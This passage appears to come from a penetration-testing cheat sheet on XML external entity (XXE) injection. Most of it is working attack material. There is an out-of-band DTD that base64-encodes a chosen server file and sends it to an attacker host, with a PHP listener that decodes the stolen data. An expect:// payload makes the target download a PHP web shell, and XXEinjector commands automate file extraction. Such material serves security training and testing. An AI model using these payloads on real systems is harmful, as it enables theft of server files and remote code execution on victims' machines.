If the server processes the XML but returns no output to your screen, force the server to send the file contents to your web server as a URL parameter. This sends the desired data/file to the ATTACKER_IP via an outbound HTTP request
NOTE: Replace <FILE> and <ATTACKER_IP>!
# XXE for reading file
cat << 'EOF' > xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:8000/?content=%file;'>">
EOF
# Autodecoder for base64
cat << 'EOF' > index.php
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
EOF
php -S 0.0.0.0:8000Step 2: The Payload (Send to Target)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>RCE via expect
Note: The expect module is not enabled/installed by default on modern PHP servers, so this attack may not always work. This is why XXE is usually used to disclose sensitive local files and source code, which may reveal additional vulnerabilities or ways to gain code execution.
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80Note: We replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them.
NOTE: Replace and <ATTACKER_IP>!
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'<ATTACKER_IP>/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>XXEinjector: Automated OOB
If manual OOB is tedious, use XXEinjector to automate the extraction.
- Save the Burp POST request to
req.txt. - Replace the XML data with the word
XXEINJECT.
...
<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT- Run the extractor:
git clone https://github.com/enjoiz/XXEinjector.git && cd XXEinjector
ruby XXEinjector.rb --verbose --phpfilter --oob=http --host=<ATTACKER_IP> --httpport=8000 --file=req.txt --path=<FILE>
# Results save to: Logs/<TARGET_IP>/etc/passwd.log